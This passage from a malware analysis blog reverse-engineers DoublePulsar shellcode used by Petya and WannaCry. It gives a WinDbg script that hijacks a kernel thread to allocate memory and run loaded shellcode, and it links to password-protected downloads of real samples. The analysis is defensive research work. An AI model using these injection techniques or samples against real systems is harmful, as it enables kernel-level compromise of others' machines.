<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifKvG00_3cHu8zSnKiGrLCG05uXE9AlXdCC4CZctTZaLjutFoowQ32qXSMhbWEW7ppT7z0Bnj_Dyf_uJuKI7PU_erGhzGiBHpPFICiIucZEyZkYcV0ODopHfYOi-aecIKl1rrTKdg3-7I/s1600/temp19.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="187" data-original-width="664" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifKvG00_3cHu8zSnKiGrLCG05uXE9AlXdCC4CZctTZaLjutFoowQ32qXSMhbWEW7ppT7z0Bnj_Dyf_uJuKI7PU_erGhzGiBHpPFICiIucZEyZkYcV0ODopHfYOi-aecIKl1rrTKdg3-7I/s640/temp19.jpg" width="640" /></a></div>
<br />
<br />
how you can see it is only doing a xor byte, 0xCC of 0x977 bytes.<br />
<br />
I have extracted that part of data and i have done the xor decryption, and here it is the resulting data (password: infected):<br />
<br />
<a href="https://github.com/vallejocc/Malware-Analysis/blob/master/shellcode_petya/petya_shellcode.rar">https://github.com/vallejocc/Malware-Analysis/blob/master/shellcode_petya/petya_shellcode.rar</a><br />
<br />
If we open the shellcode with IDA we can see it is a doublePulsar shellcode:<br />
<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdGFbWT2_V0BAmi5PuYTLJi5QqYcEi_wlbPz59Ww0_TaZhyphenhyphensxUDK3CxzMYsGb48sQSHQRa0nLH5RumDVuZRvfgTHJ4bNDRxXwJfMVb1i2TZXAE2e8DfUQfBOmy1Z0VyTG4wv5qJucGo44/s1600/temp20.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="886" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdGFbWT2_V0BAmi5PuYTLJi5QqYcEi_wlbPz59Ww0_TaZhyphenhyphensxUDK3CxzMYsGb48sQSHQRa0nLH5RumDVuZRvfgTHJ4bNDRxXwJfMVb1i2TZXAE2e8DfUQfBOmy1Z0VyTG4wv5qJucGo44/s640/temp20.jpg" width="504" /></a></div>
<br />
<br />
<div>
We can compare it with wannacry shellcode:<br />
<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL64_fc0L10F0s7p8YbMXsapHlebcdk2TMWRC3keGTd5-ANTyTo7vqZrAun9cNTq4277Gj5lnMalH-efE31aOPLP0vN55thcCMiQFGbqhkqZaTiAk20FsrFWkslwojUBHXEZwmEUAI3tI/s1600/temp22.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="462" data-original-width="700" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL64_fc0L10F0s7p8YbMXsapHlebcdk2TMWRC3keGTd5-ANTyTo7vqZrAun9cNTq4277Gj5lnMalH-efE31aOPLP0vN55thcCMiQFGbqhkqZaTiAk20FsrFWkslwojUBHXEZwmEUAI3tI/s640/temp22.jpg" width="640" /></a></div>
<br />
<br />
<br /></div>
<div>
As we can see it is the same shellcode.<br />
<br />
<h2>
Collecting targets</h2>
<br />
Petya improves the way that the worm code collects targets for the SMB attack.<br />
<br />
It is using GetExtendedTcpTable to enum active TCP connections and probably collect targets from the results:</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpXrgCc03tWjNMjYMsByU3YuewmWTy5cVm4cYd7FH_zMFravVD8wa479hIeSgX2ii7rFw95Bc14B99x-Uo6jmDo7I0Tfsl2DbPE3wZLDAMmSklJ1UbcUP3_xp5SQ47DRM7Bx2YkdECbI/s1600/temp24.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="607" data-original-width="526" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpXrgCc03tWjNMjYMsByU3YuewmWTy5cVm4cYd7FH_zMFravVD8wa479hIeSgX2ii7rFw95Bc14B99x-Uo6jmDo7I0Tfsl2DbPE3wZLDAMmSklJ1UbcUP3_xp5SQ47DRM7Bx2YkdECbI/s640/temp24.jpg" width="554" /></a></div>
<br />
<br /></div>
<div>
It calculates the current network to scan it for targets:</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaG11JjzD94AG4zSJttRgN9JJqr77gvhfEf_-abnojCwXwlEu_wCC9rv4UQgkshx-2VAOFdoqBnIBb1YLcAMths8fhLrzH78Bd8g0PZDqzMLo2LgpZ8fxGOBfymDDzlDrkbQixqT_Nd0Y/s1600/temp25.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="212" data-original-width="453" height="185" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaG11JjzD94AG4zSJttRgN9JJqr77gvhfEf_-abnojCwXwlEu_wCC9rv4UQgkshx-2VAOFdoqBnIBb1YLcAMths8fhLrzH78Bd8g0PZDqzMLo2LgpZ8fxGOBfymDDzlDrkbQixqT_Nd0Y/s400/temp25.jpg" width="400" /></a></div>
<br />
<br /></div>
<div>
It calls to DhcpEnumSubnets / DhcpEnumSubnetClients:</div>
<div>
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09yCZUwHk0IJjb-ICf3CGhYkQVrlZbvVO65KGPCqw-HIFapcIJjDHSoyZYl1fn-yJVIqp0XhcAjkABWIHWrMeR4cpdSNYqmSdbrvYVsl6bnZTcVzeSN3hOerN4-OusAJFOinLqgXUQf0/s1600/temp26.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="774" data-original-width="503" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09yCZUwHk0IJjb-ICf3CGhYkQVrlZbvVO65KGPCqw-HIFapcIJjDHSoyZYl1fn-yJVIqp0XhcAjkABWIHWrMeR4cpdSNYqmSdbrvYVsl6bnZTcVzeSN3hOerN4-OusAJFOinLqgXUQf0/s640/temp26.jpg" width="414" /></a></div>
</div>
</div>
</div>
</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-30373415925164751012017-06-23T10:09:00.000-07:002018-05-04T09:59:31.678-07:00Loading and Debugging Windows Kernel Shellcodes with Windbg. Debugging DoublePulsar Shellcode<br />
In this article i’d like to share a windbg script that will let us to load a shellcode from a file to kernel memory and create a kernel thread to execute it. I have not played a lot with the script yet, if you find some bug please tell me.<br />
<a name='more'></a><h2>
</h2>
<h2>
Windbg Script for loading the shellcode and creating a thread for running it</h2>
You can find the script in my github:<br />
<br />
<a href="https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/load_code_to_kernel_memory.wdbg">load_code_to_kernel_memory.wdbg</a><br />
<br />
The parameters of the script:<br />
<div>
<br />
<ul>
<li>$$>a<load_code_to_kernel_memory.wdbg <src code> <mem size> <offset start routine></li>
</ul>
</div>
<div>
<br />
The first argument is the path to the file containing the shellcode. The second one is the size of the memory to reserve (enought for allocating the shellcode). The third parameter is the offset into the shellcode where we want the thread starts to execute.<br />
<br />
Careful: The size of the file with the shellcode should be padded to fit a multiple of page size. We are using the command .readmem to load the shellcode, and it will read blocks of 0x1000 bytes. For example, if your shellcode file has 0x2800 bytes, .readmem will load 0x2000 bytes only. You will need to complete the file with 0x800 additional trash bytes to load the full code.<br />
<br />
<h2>
A quick explanation about the script</h2>
<br />
We will need to hijack a running thread for a while. We want to redirect that thread execution to ExAllocatePool to reserve memory for the shellcode (we will manipulate the stack of the hijacked thread to do that, and we will restore it later).<br />
<br />
For this purpose, we will set a breakpoint at NtCreateFile (a frequently called function). When we have the thread stopped there, we can manipulate it:<br />
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$set a breakpoint on a common function that is executed frequently (NtCreateFile for example) for hijacking the thread for a while</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
ba e1 nt!NtCreateFile<br />
g</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.printf “${$arg1}”<br />
.printf “${$arg2}”<br />
.printf “${$arg3}”</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
bc *</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$save original esp register and stack parameters that we are going to overwrite when calling ExAllocatePool and PsCreateSystemThread</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
r @$t19 = (poi esp)<br />
r @$t18 = (poi esp+4)<br />
r @$t17 = (poi esp+8)<br />
r @$t16 = (poi esp+c)<br />
r @$t15 = (poi esp+10)<br />
r @$t14 = (poi esp+14)<br />
r @$t13 = (poi esp+18)<br />
r @$t12 = (poi esp+1c)<br />
r @$t11 = esp</div>
</blockquote>
Once we have the thread, we will change eip and stack to execute ExAllocatePool:</div>
<div>
<br />
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$change the stack with the parameters that we need for ExAllocatePool</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
ed (esp+4) 0<br />
ed (esp+8) ${$arg2}</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$hijack the thread running on NtCreateFile to execute ExAllocatePool</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
u nt!ExAllocatePool<br />
dd esp<br />
r eip = nt!ExAllocatePool</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$steps until the ret instruction is found. We cant execute step out (gu) because we would get a 0x30 bugcheck, this is the reason:<br />
$$ “This bug check occurs when there’s a stack underflow detected when restoring context coming out of a trap. There’s a check to<br />
$$ validate that the current ESP is less than the ESP saved in the trap frame. If current_esp < saved_esp, bugcheck. ”</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.while (1)<br />
{<br />
p<br />
r @$t10 = (poi eip)<br />
r @$t10 = @$t10 & 0x000000ff</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.if (@$t10 == 0xc2)<br />
{<br />
.break<br />
}<br />
}</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
r @$t0 = eax</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.printf “allocated mem: %x\n”, @$t0</div>
</blockquote>
Now we have allocated enought space for the shellcode, so load it:</div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$load code from file to allocated memory</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$careful: .readmem will read blocks of 0x1000 bytes. For example, if your file to load has 0x2800 bytes, .readmem will load 0x2000 bytes only.<br />
$$You will need to complete the file with 0x800 additional trash bytes to load the full code</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.readmem ${$arg1} @$t0</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$ @$t1 = allocated mem membase, code is read</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
r @$t1 = @$t0</div>
</blockquote>
And now, we want to create a thread on shellcode + arg3:</div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$Now we are going to create a kernel thread at @$t1 + arg3 (membase + startroutine_offset)</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$ NTSTATUS PsCreateSystemThread(<br />
$$ _Out_ PHANDLE ThreadHandle,<br />
$$ _In_ ULONG DesiredAccess,<br />
$$ _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,<br />
$$ _In_opt_ HANDLE ProcessHandle,<br />
$$ _Out_opt_ PCLIENT_ID ClientId,<br />
$$ _In_ PKSTART_ROUTINE StartRoutine,<br />
$$ _In_opt_ PVOID StartContext<br />
$$ );</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
ed (esp+1c) 0<br />
ed (esp+18) @$t1+${$arg3}<br />
ed (esp+14) 0<br />
ed (esp+10) 0<br />
ed (esp+c) 0<br />
ed (esp+8) 0<br />
$$ThreadHandle inout, we use the memory of the parameter StartContext that we dont need<br />
ed (esp+4) (esp+1c)</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$set a breakpoint where the thread is going to be created</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
ba e1 @$t1+${$arg3}</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
u nt!PsCreateSystemThread<br />
dd esp<br />
r eip = nt!PsCreateSystemThread</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$again steps until ret instruction is found</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.while (1)<br />
{<br />
p<br />
r @$t10 = (poi eip)<br />
r @$t10 = @$t10 & 0x000000ff</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
.if (@$t10 == 0xc2)<br />
{<br />
.break<br />
}<br />
}</div>
</blockquote>
Finally, we restore stack and eip to continue the execution of the hijacked thread correctly at NtCreateFile, or the system will crash:</div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
$$restore original registers and stack to continue the execution with no problems</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
r eip = nt!NtCreateFile<br />
r esp = @$t11<br />
ed esp @$t19<br />
ed (esp+4) @$t18<br />
ed (esp+8) @$t17<br />
ed (esp+c) @$t16<br />
ed (esp+10) @$t15<br />
ed (esp+14) @$t14<br />
ed (esp+18) @$t13<br />
ed (esp+1c) @$t12</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
g</div>
</blockquote>
After this, windbg should stop at the breakpoint in the offset of the shellcode that we wanted the thread to start.</div>
<div>
</div>
<div>
<h2>
</h2>
<h2>
Testing the script with DoublePulsar shellcode</h2>
<br />
We are going to test the script with a DoublePulsar Shellcode extracted from a worm/ransom whose name i don’t want to remember.<br />
<br />
You can download the shellcode file from <a href="https://github.com/vallejocc/Malware-Analysis/tree/master/shellcode_doublepulsar_eternalblue">here</a> (rar password: infected).<br />
<br />
The size of the file is 0x3000. I have not reversed the shellcode in depth, but a good point for starting to debug seems to be the offset 0x221 (later we will see why).<br />
<br />
We execute the script and here it is the printed debug traces:<br />
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
kd> $$>a<load_code_to_kernel_memory.wdbg shellcode.bin 3000 221</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
Breakpoint 0 hit <- nt!NtCreateFile hit</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
nt!ExAllocatePool:<br />
8261e976 8bff mov edi,edi<br />
8261e978 55 push ebp<br />
8261e979 8bec mov ebp,esp<br />
8261e97b 684e6f6e65 push 656E6F4Eh<br />
8261e980 ff750c push dword ptr [ebp+0Ch]<br />
8261e983 ff7508 push dword ptr [ebp+8]<br />
8261e986 e87a461100 call nt!ExAllocatePoolWithTag (82733005)<br />
8261e98b 5d pop ebp</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
9e867d04 826511ea 00000000 00003000 040bfb54 <- stack for ExAllocatePool</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
allocated mem: 849f4000 <- allocated memory</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
Reading 10000 bytes…… <- .readmem shellcode</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
nt!PsCreateSystemThread:<br />
8281bfb6 8bff mov edi,edi<br />
8281bfb8 55 push ebp<br />
8281bfb9 8bec mov ebp,esp<br />
8281bfbb 83e4f8 and esp,0FFFFFFF8h<br />
8281bfbe 83ec34 sub esp,34h<br />
8281bfc1 a148da7382 mov eax,dword ptr [nt!__security_cookie (8273da48)]<br />
8281bfc6 33c4 xor eax,esp<br />
8281bfc8 89442430 mov dword ptr [esp+30h],eax</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
9e867d04 826511ea 9e867d20 00000000 00000000 <- stack for PsCreateSystemThread<br />
9e867d14 00000000 00000000 849f4221 00000000<br />
9e867d24 00000001 00000060 00000000 00000000</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
Breakpoint 0 hit <- shellcode hit</div>
<div style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; vertical-align: baseline;">
849f4221 b923000000 mov ecx,23h<br />
0: kd> u eip<br />
849f4221 b923000000 mov ecx,23h<br />
849f4226 6a30 push 30h<br />
849f4228 0fa1 pop fs<br />
849f422a 8ed9 mov ds,cx<br />
849f422c 8ec1 mov es,cx<br />
849f422e 648b0d40000000 mov ecx,dword ptr fs:[40h]<br />
849f4235 8b6104 mov esp,dword ptr [ecx+4]<br />
849f4238 ff35fcffdfff push dword ptr ds:[0FFDFFFFCh]</div>
</blockquote>
<h3 style="background-color: white; border: 0px; box-sizing: border-box; clear: both; color: #424242; font-family: Montserrat, sans-serif; font-size: 1.5em; line-height: 1.5em; margin: 0px auto 16px; outline: 0px; padding: 0px; vertical-align: baseline;">
</h3>
<div>
<br /></div>
<h2>
SYSENTER_EIP HOOK</h2>
<br />
We can see the new created thread is stopped at the point of the shellcode that we have specified:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo62UPa6e-np3Da6ZRafgX1D_Tfq_Y_YXKNh7P-3uycy8fuSq1I6SVQfL-HSnVO_7hl24veTHh-FBLHn_QWRTzWteE3X6iDOQ9IeqRirBZwF59wTTBa4DC84Hkt5KNnkEtMIaVgmqDgko/s1600/temp17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="564" data-original-width="700" height="514" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo62UPa6e-np3Da6ZRafgX1D_Tfq_Y_YXKNh7P-3uycy8fuSq1I6SVQfL-HSnVO_7hl24veTHh-FBLHn_QWRTzWteE3X6iDOQ9IeqRirBZwF59wTTBa4DC84Hkt5KNnkEtMIaVgmqDgko/s640/temp17.jpg" width="640" /></a></div>
<br />
<br />
At offset 0x20B we can see a function of the shellcode that is hooking sysenter_eip.<br />
<br />
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
We can see the shellcode is using the address 0xFFDFFFFC to store MSR[0x176]. You can execute:<br />
<br />
1: kd> dt nt!_kuser_shared_data ffdf0000<br />
<br />
Nt!_kuser_shared_data structure is located at ffdf0000, so i guess the shellcode is using the free space in the page of Nt!_kuser_shared_data after this structure to store the temporal value that it needs.<br />
<br />
Here you can read about hooking system calls through MSR (very interesting):<br />
<br />
<a href="http://resources.infosecinstitute.com/hooking-system-calls-msrs/">http://resources.infosecinstitute.com/hooking-system-calls-msrs</a><br />
<br />
So the offset 0x221 is the hook for sysenter_eip, for this reason i think it is a good point to debug from here.<br />
<br />
Let’s continue reversing the code of sysenter_eip hook:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv3qzNg34k1i1Ckr_2YMdmkC0n_NUFSIZyWQpFcYbRiscLpfnOWpT35KnGGPQrQoiuNXGpicG1Okli83-YTNlWkb18rsUQNRz5T5_NuQQr-q44xbA1aOYk8BY64huVAyWRKvBnHF3XchU/s1600/temp13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="643" data-original-width="700" height="586" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv3qzNg34k1i1Ckr_2YMdmkC0n_NUFSIZyWQpFcYbRiscLpfnOWpT35KnGGPQrQoiuNXGpicG1Okli83-YTNlWkb18rsUQNRz5T5_NuQQr-q44xbA1aOYk8BY64huVAyWRKvBnHF3XchU/s640/temp13.jpg" width="640" /></a></div>
<br />
<span style="color: #686868; font-family: "open sans" , sans-serif;"><span style="background-color: white; height: auto;"></span></span></div>
In kernel-land, at fs:[0] we have the _KPCR structure. We can see how the shellcode gets some values that it needs from this structure and other structures pointed from here.</div>
<div>
<ul>
<li>fs:0x40 -> _KTSS</li>
<li>_KTSS + 4 -> Esp0 (correct Esp for continue executing in kernel)</li>
<li>nt!kuser_shared_data+0x304 -> SystemCallReturn</li>
<li>_KPCR + 0x1C -> SelfPcr (_KPCR)</li>
<li>SelfPcr + 0x120 -> PrcbData (_KPRCB)</li>
<li>PrcbData+0x4 -> CurrentThread (_KTHREAD)</li>
<li>CurrentThread+0x28 -> InitialStack</li>
</ul>
</div>
<div>
After all these initializations, it calls the main code of the hook, but before, it restores the MSR[176] (SYSENTER_EIP). It already has a thread from user mode, and probably it is enought for its purposes.<br />
<div>
<br /></div>
<h2>
SHELLCODE MAIN CODE</h2>
<br />
I have not debugged very in depth the shellcode, but we will see the first part of the shellcode main code executed from the sysenter_eip the hook:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSKg1MwhKCpHNdEQwzzK-KwtdeFEi3vtbVqCt1BaM1pRItr6blpDfVDYE04AJDLXKkJdgaAZoEnHP08KVQIFcFoaHAuhe7508maK4BUotxW0YRj8Kr1XsmSBhBKugf69P7Yt8v53jrkHo/s1600/temp14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="662" data-original-width="700" height="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSKg1MwhKCpHNdEQwzzK-KwtdeFEi3vtbVqCt1BaM1pRItr6blpDfVDYE04AJDLXKkJdgaAZoEnHP08KVQIFcFoaHAuhe7508maK4BUotxW0YRj8Kr1XsmSBhBKugf69P7Yt8v53jrkHo/s640/temp14.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
<br />
We can see how the shellcode is taking a pointer of the IDT to have a address into ntoskrnl.exe. In this way it can find the base of ntoskrnl.exe going back in the memory space until finding the PE header.<br />
<br />
After that, it gets by CRC some APIs that it needs: ExAllocatePool, ExFreePool, ZwQuerySystemInformation.<br />
<br />
Later, it uses ZwQuerySystemInformation to list all loaded modules, searching for kdcom.dll (antidebug trick?) and specially srv.sys:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwes37sN6qBjNGh_RbAERdiylXVBcSqnPSebFHzsB7kJ4O2RGtI1K3_zHQyB00UYAKJo39-ibZShXRQztKoVVvEnZP8N1dh7wqO4LYEVdxammxccGv37j5oSjmB9JebmwddOMwwzVFjrQ/s1600/temp16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="702" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwes37sN6qBjNGh_RbAERdiylXVBcSqnPSebFHzsB7kJ4O2RGtI1K3_zHQyB00UYAKJo39-ibZShXRQztKoVVvEnZP8N1dh7wqO4LYEVdxammxccGv37j5oSjmB9JebmwddOMwwzVFjrQ/s640/temp16.jpg" width="638" /></a></div>
<br />
